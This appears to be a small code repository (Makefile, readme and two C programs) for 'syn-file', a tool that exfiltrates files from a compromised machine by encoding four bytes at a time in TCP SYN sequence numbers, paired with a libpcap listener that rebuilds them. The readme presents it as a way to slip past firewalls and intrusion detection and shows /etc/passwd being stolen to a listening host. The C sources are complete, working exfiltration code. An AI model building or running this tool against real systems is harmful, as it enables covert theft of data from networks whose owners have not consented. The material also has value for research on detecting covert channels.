├── Makefile ├── readme.md ├── syn-daemon.c └── syn-file.c /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile 3 | # 4 | # Exfiltrate data from a compromised target using covert channels. 5 | # 6 | # (c) spinfoo 7 | 8 | CFLAGS=-Wall 9 | 10 | all: syn-file syn-daemon 11 | 12 | syn-file: syn-file.c 13 | gcc $< -o $@ -lnet $(CFLAGS) 14 | @strip $@ 15 | @du -h $@ 16 | 17 | syn-daemon: syn-daemon.c 18 | gcc $< -o $@ -lpcap $(CFLAGS) 19 | @strip $@ 20 | @du -h $@ 21 | 22 | clean: 23 | rm -f syn-file syn-daemon 24 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # syn-file 2 | 3 | Exfiltrate data from a compromised target using covert channels abusing TCP SYN header data. 4 | 5 | 6 | ## Intro 7 | **syn-file** is a tool that allows data exfiltration using TCP SYN sequence number packets. 8 | In that way it is possible to bypass firewalls or IDS as no TCP connection is ever opened... similar to TCP SYN scanning. 9 | 10 | To be faster exfiltrating data, a useful codification technique is used. Encoding 4 chars in a integer like this: 11 | 12 | ```seq= buf[0] << 24 | buf[1] << 16 | buf[2] << 8 | buf[3];``` 13 | 14 | In that manner it is possible to exfiltrate data from a machine running the command **syn-file** to another machine 15 | that is listening on the wire running **syn-daemon**. 16 | 17 | 18 | 19 | ## Background 20 | 21 | There are some tools to deploy covert channels, mainly using ICMP protocol, padding the content in the payload section... 22 | but that looks quite suspicious and is very easy to spot using a network sniffer, as Wireshark. 23 | 24 | However I have not seen any tool to deploy covert channels using TCP sequence numbers, also in **syn-file** the payload is left empty ;-) 25 | 26 | 27 | ## usage / example 28 | 29 | 30 | ### syn-daemon (server) 31 | ``` 32 | # ./syn-daemon -i iface -s source_ip -f file_for_exfiltrated_data 33 | -i interface 34 | -s source ip 35 | -f file to store exfiltrated data 36 | ``` 37 | 38 | Example: 39 | ``` 40 | # ./syn-daemon -i eth0 -s 192.168.1.155 -f passwd 41 | using interface: eth0 42 | libcap rule: "src host 192.168.1.155" 43 | # 1 [SYN: 1] [SEQ #: 0x61743a78] 44 | # 2 [SYN: 1] [SEQ #: 0x3a32353a] 45 | # 3 [SYN: 1] [SEQ #: 0x32353a42] 46 | # 4 [SYN: 1] [SEQ #: 0x61746368] 47 | # 5 [SYN: 1] [SEQ #: 0x206a6f62] 48 | # 6 [SYN: 1] [SEQ #: 0x73206461] 49 | # 7 [SYN: 1] [SEQ #: 0x656d6f6e] 50 | # 8 [SYN: 1] [SEQ #: 0x3a2f7661] 51 | # 9 [SYN: 1] [SEQ #: 0x722f7370] 52 | # 10 [SYN: 1] [SEQ #: 0x6f6f6c2f] 53 | ... 54 | ``` 55 | 56 | And "passwd" recovered is: 57 | ``` 58 | # cat passwd 59 | at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash 60 | avahi:x:481:481:User for Avahi:/run/avahi-daemon:/bin/false 61 | avahi-autoipd:x:493:493:User for Avahi IPv4LL:/var/lib/avahi-autoipd:/bin/false 62 | bin:x:1:1:bin:/bin:/bin/bash 63 | colord:x:483:484:user for colord:/var/lib/colord:/sbin/nologin 64 | daemon:x:2:2:Daemon:/sbin:/bin/bash 65 | dnsmasq:x:486:65534:dnsmasq:/var/lib/empty:/bin/false 66 | ftp:x:40:49:FTP account:/srv/ftp:/bin/bash 67 | games:x:12:100:Games account:/var/games:/bin/bash 68 | gdm:x:478:477:Gnome Display Manager daemon:/var/lib/gdm:/bin/false 69 | ... 70 | ``` 71 | 72 | 73 | 74 | ### syn-file (client / target machine) 75 | ``` 76 | # ./syn-file -i interface -d dst_ip -f file_to_exfiltrate -p dst_port -P src_port -m MAC_address_server 77 | -i interface 78 | -d destination ip / IP that runs syn-daemon 79 | -f file to exfiltrate 80 | -p destination port 81 | -P source port 82 | -m MAC address server / syn-daemon 83 | ``` 84 | 85 | Example from target machine: 86 | ``` 87 | # ./syn-file -i eth0 -d 192.168.1.158 -f /etc/passwd -p 8080 -P 8081 -m 00:0C:0A:4a:3b:5c 88 | using interface: eth0 89 | #1 [Read from file "at:x"] [Encoded SEQ #: 0x61743a78] [Wrote 74 bytes] 90 | #2 [Read from file ":25:"] [Encoded SEQ #: 0x3a32353a] [Wrote 74 bytes] 91 | #3 [Read from file "25:B"] [Encoded SEQ #: 0x32353a42] [Wrote 74 bytes] 92 | #4 [Read from file "atch"] [Encoded SEQ #: 0x61746368] [Wrote 74 bytes] 93 | #5 [Read from file " job"] [Encoded SEQ #: 0x206a6f62] [Wrote 74 bytes] 94 | #6 [Read from file "s da"] [Encoded SEQ #: 0x73206461] [Wrote 74 bytes] 95 | #7 [Read from file "emon"] [Encoded SEQ #: 0x656d6f6e] [Wrote 74 bytes] 96 | #8 [Read from file ":/va"] [Encoded SEQ #: 0x3a2f7661] [Wrote 74 bytes] 97 | #9 [Read from file "r/sp"] [Encoded SEQ #: 0x722f7370] [Wrote 74 bytes] 98 | #10 [Read from file "ool/"] [Encoded SEQ #: 0x6f6f6c2f] [Wrote 74 bytes] 99 | ... 100 | ``` 101 | 102 | ## Disclaimer 103 | Only use allowed for educational purposes or professionaly during a penetration test given the proper permission. 104 | 105 | All rights reserved 106 | 107 | (c) 2017 defensahacker 108 | -------------------------------------------------------------------------------- /syn-daemon.c: -------------------------------------------------------------------------------- 1 | /* 2 | * syn-daemon.c 3 | * 4 | * Exfiltrate data from a compromised target using covert channels. 5 | * 6 | * Listens passively packets, given a libpcap rule and store in a file the TCP sequence numbers of SYN packets 7 | * according to a given codification technique. 8 | * 9 | * (c) spinfoo 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | 27 | FILE *logfile; 28 | int total=1; 29 | 30 | void print_tcp_packet(const u_char *buf, int s) { 31 | struct iphdr *iph = (struct iphdr *)(buf + sizeof(struct ethhdr) ); 32 | unsigned short iphdrlen= iph->ihl*4; 33 | struct tcphdr *tcph=(struct tcphdr*)(buf + iphdrlen + sizeof(struct ethhdr)); 34 | int seq= ntohl(tcph->seq); 35 | unsigned char bytes[4]; 36 | 37 | bytes[0] = (seq >> 24) & 0xFF; 38 | bytes[1] = (seq >> 16) & 0xFF; 39 | bytes[2] = (seq >> 8) & 0xFF; 40 | bytes[3] = seq & 0xFF; 41 | 42 | fprintf(logfile, "%c%c%c%c", bytes[0], bytes[1], bytes[2], bytes[3]); 43 | fflush(logfile); 44 | fprintf(stderr, "[SYN: %d] ", tcph->syn); 45 | fprintf(stderr, "[SEQ #: 0x%x]\n", seq); 46 | } 47 | 48 | void process_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *buffer) { 49 | int size = header->len; 50 | //Get the IP Header part of this packet , excluding the ethernet header 51 | struct iphdr *iph = (struct iphdr*)(buffer + sizeof(struct ethhdr)); 52 | 53 | fprintf(stderr, "#%5d ", total++); 54 | if (iph->protocol == 6) { // TCP Protocol 55 | print_tcp_packet(buffer, size); 56 | } 57 | } 58 | 59 | void usage(char *argv) { 60 | fprintf(stderr, "usage: %s -i iface -s source_ip -f file\n", argv); 61 | } 62 | 63 | int main(int argc, char **argv) { 64 | struct bpf_program fp; 65 | bpf_u_int32 netp, maskp; 66 | pcap_t *handle; 67 | char errbuf[PCAP_ERRBUF_SIZE], devname[64], flog[128], rule[128]; 68 | int c; 69 | 70 | rule[0]= '\0'; 71 | devname[0]= '\0'; 72 | flog[0]= '\0'; 73 | 74 | if (argc != 7) { 75 | usage(argv[0]); 76 | exit(EXIT_FAILURE); 77 | } 78 | 79 | while ((c = getopt(argc, argv, "i:s:f:")) != EOF) { 80 | switch (c) { 81 | case 'i': 82 | strncpy(devname, optarg, sizeof(devname)-1); 83 | fprintf(stderr, "using interface: %s\n", devname); 84 | break; 85 | case 's': 86 | snprintf(rule, sizeof(rule)-1, "src host %s", optarg); 87 | fprintf(stderr, "libcap rule: \"%s\"\n", rule); 88 | break; 89 | case 'f': 90 | strncpy(flog, optarg, sizeof(flog)-1); 91 | break; 92 | default: 93 | usage(argv[0]); 94 | exit(EXIT_FAILURE); 95 | } 96 | } 97 | 98 | if (*devname == '\0' || *rule == '\0' || *flog == '\0') { 99 | usage(argv[0]); 100 | exit(EXIT_FAILURE); 101 | } 102 | 103 | pcap_lookupnet(devname, &netp, &maskp, errbuf); 104 | 105 | handle = pcap_open_live(devname, 65536, 1, 0, errbuf); 106 | if (handle == NULL) { 107 | fprintf(stderr, "Couldn't open device %s : %s\n", devname, errbuf); 108 | exit(EXIT_FAILURE); 109 | } 110 | 111 | logfile= fopen(flog,"w"); 112 | if (logfile == NULL) { 113 | printf("Unable to create file."); 114 | exit(EXIT_FAILURE); 115 | } 116 | 117 | if (pcap_compile(handle, &fp, rule, 0, netp) == -1) { 118 | fprintf(stderr, "Error calling pcap_compile\n"); 119 | exit(EXIT_FAILURE); 120 | } 121 | 122 | if (pcap_setfilter(handle, &fp) == -1) { 123 | fprintf(stderr, "Error setting filter\n"); 124 | exit(EXIT_FAILURE); 125 | } 126 | 127 | pcap_loop(handle, -1, process_packet, NULL); 128 | 129 | return 0; 130 | } 131 | -------------------------------------------------------------------------------- /syn-file.c: -------------------------------------------------------------------------------- 1 | /* 2 | * syn-file.c 3 | * 4 | * Exfiltrate data from a compromised target using covert channels. 5 | * 6 | * Exfiltrates a given file using TCP seq numbers of SYN packets using a given codification technique. 7 | * 8 | * (c) spinfoo 9 | */ 10 | 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #define VERSION "1.4" 26 | 27 | void usage(char *name) { 28 | fprintf(stderr, "usage: %s -i interface -d dst_ip -f file_to_exfiltrate -p dst_port -P src_port -m MAC_address_server\n", name); 29 | } 30 | 31 | void error(char *cmd, char *name) { 32 | fprintf(stderr, "%s %s: %s\n", cmd, VERSION, name); 33 | exit(EXIT_FAILURE); 34 | } 35 | 36 | void lerror(char *msg, libnet_t *l) { 37 | fprintf(stderr, "libnet error: %s.\n", msg); 38 | libnet_destroy(l); 39 | exit(EXIT_FAILURE); 40 | } 41 | 42 | int main(int argc, char *argv[]) { 43 | int c, fd, seq, pkt; 44 | libnet_t *l, *q; 45 | libnet_ptag_t t; 46 | char *payload; 47 | u_short payload_s; 48 | u_long src_ip, dst_ip; 49 | u_short src_prt, dst_prt; 50 | char errbuf[LIBNET_ERRBUF_SIZE], buf[5], devname[64], file[128], macaddr[32]; 51 | u_char enet_src[6], enet_dst[6]; 52 | struct libnet_ether_addr *mac_src; 53 | 54 | src_ip = 0; 55 | dst_ip = 0; 56 | src_prt = 0; 57 | dst_prt = 0; 58 | payload = NULL; 59 | payload_s = 0; 60 | pkt= 1; 61 | devname[0]= '\0'; 62 | file[0]= '\0'; 63 | macaddr[0]= '\0'; 64 | 65 | 66 | if (getuid() != 0) { 67 | error(argv[0], "Sorry you must be root."); 68 | } 69 | 70 | q = libnet_init(LIBNET_LINK, NULL, errbuf); 71 | if (q == NULL) { 72 | error(argv[0], "libnet_init() failed\n"); 73 | } 74 | 75 | while ((c = getopt(argc, argv, "i:d:f:p:P:m:")) != EOF) { 76 | switch (c) { 77 | case 'i': 78 | strncpy(devname, optarg, sizeof(devname)-1); 79 | fprintf(stderr, "using interface: %s\n", devname); 80 | break; 81 | case 'd': 82 | if ((dst_ip = libnet_name2addr4(q, optarg, LIBNET_RESOLVE)) == -1) { 83 | fprintf(stderr, "Bad destination IP address: %s\n", optarg); 84 | exit(EXIT_FAILURE); 85 | } 86 | break; 87 | case 'f': 88 | strncpy(file, optarg, sizeof(file)-1); 89 | break; 90 | case 'p': 91 | dst_prt= (u_short)atoi(optarg); 92 | break; 93 | case 'P': 94 | src_prt= (u_short)atoi(optarg); 95 | break; 96 | case 'm': 97 | strncpy(macaddr, optarg, sizeof(macaddr)-1); 98 | sscanf(optarg, "%02X:%02X:%02X:%02X:%02X:%02X", &enet_dst[0],&enet_dst[1],&enet_dst[2],&enet_dst[3],&enet_dst[4],&enet_dst[5]); 99 | break; 100 | default: 101 | exit(EXIT_FAILURE); 102 | } 103 | } 104 | libnet_destroy(q); 105 | 106 | if (*devname == '\0' || !dst_ip || *file == '\0' || !src_prt || !dst_prt || *macaddr == '\0') { 107 | usage(argv[0]); 108 | exit(EXIT_FAILURE); 109 | } 110 | 111 | fd= open(file, O_RDONLY); 112 | if (fd == -1) { 113 | error(argv[0], "Could not open file\n"); 114 | } 115 | 116 | while ( 1 ) { 117 | l = libnet_init( 118 | LIBNET_LINK, /* injection type */ 119 | devname, /* network interface */ 120 | errbuf); /* error buffer */ 121 | 122 | if (l == NULL) { 123 | error(argv[0], "libnet_init() failed\n"); 124 | } 125 | 126 | if ( read(fd, &buf, 4) < 1 ) { 127 | break; 128 | } 129 | buf[4]= '\0'; 130 | 131 | fprintf(stderr, "#%d\t", pkt++); 132 | fprintf(stderr, " [Read from file \"%s\"] ", buf); 133 | // Encoding 4 bytes in an integer 134 | seq= buf[0] << 24 | buf[1] << 16 | buf[2] << 8 | buf[3]; 135 | fprintf(stderr, "[Encoded SEQ #: 0x%x] ", seq); 136 | 137 | t = libnet_build_tcp_options( 138 | (uint8_t*)"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000", // TCP header, 20 bytes, decode with Wireshark 139 | 20, 140 | l, 141 | 0); 142 | 143 | if (t == -1) { 144 | lerror("Can't build TCP options", l); 145 | } 146 | 147 | t = libnet_build_tcp( 148 | src_prt, /* source port */ 149 | dst_prt, /* destination port */ 150 | seq, /* sequence number */ 151 | 0x00000000, /* acknowledgement num */ 152 | TH_SYN, /* control flags */ 153 | 32767, /* window size */ 154 | 0, /* checksum */ 155 | 0, /* urgent pointer */ 156 | LIBNET_TCP_H + 20 + payload_s, /* TCP packet size */ 157 | (uint8_t*)payload, /* payload */ 158 | payload_s, /* payload size */ 159 | l, /* libnet handle */ 160 | 0); /* libnet id */ 161 | 162 | if (t == -1) { 163 | lerror("Can't build TCP header", l); 164 | } 165 | 166 | t = libnet_build_ipv4( 167 | LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s, /* length */ 168 | 0, /* TOS */ 169 | 242, /* IP ID */ 170 | 0, /* IP Frag */ 171 | 64, /* TTL */ 172 | IPPROTO_TCP, /* protocol */ 173 | 0, /* checksum */ 174 | src_ip, /* source IP */ 175 | dst_ip, /* destination IP */ 176 | NULL, /* payload */ 177 | 0, /* payload size */ 178 | l, /* libnet handle */ 179 | 0); /* libnet id */ 180 | 181 | if (t == -1) { 182 | lerror("Can't build IP header", l); 183 | } 184 | 185 | if ((mac_src = libnet_get_hwaddr(l)) == NULL) { 186 | lerror("Unable to determine own MAC address", l); 187 | } 188 | enet_src[0]= mac_src->ether_addr_octet[0]; 189 | enet_src[1]= mac_src->ether_addr_octet[1]; 190 | enet_src[2]= mac_src->ether_addr_octet[2]; 191 | enet_src[3]= mac_src->ether_addr_octet[3]; 192 | enet_src[4]= mac_src->ether_addr_octet[4]; 193 | enet_src[5]= mac_src->ether_addr_octet[5]; 194 | 195 | if ((src_ip = libnet_get_ipaddr4(l)) == -1) { 196 | lerror("Unable to determine own IP address", l); 197 | } 198 | 199 | t = libnet_build_ethernet( 200 | enet_dst, /* ethernet destination */ 201 | enet_src, /* ethernet source */ 202 | ETHERTYPE_IP, /* protocol type */ 203 | NULL, /* payload */ 204 | 0, /* payload size */ 205 | l, /* libnet handle */ 206 | 0); /* libnet id */ 207 | 208 | if (t == -1) { 209 | lerror("Can't build ethernet header", l); 210 | } 211 | 212 | c = libnet_write(l); 213 | if (c == -1) { 214 | lerror("Write error", l); 215 | } else { 216 | fprintf(stderr, "[Wrote %d bytes]\n", c); 217 | } 218 | libnet_destroy(l); 219 | l= 0; 220 | } /* while */ 221 | close(fd); 222 | return (EXIT_SUCCESS); 223 | } 224 | --------------------------------------------------------------------------------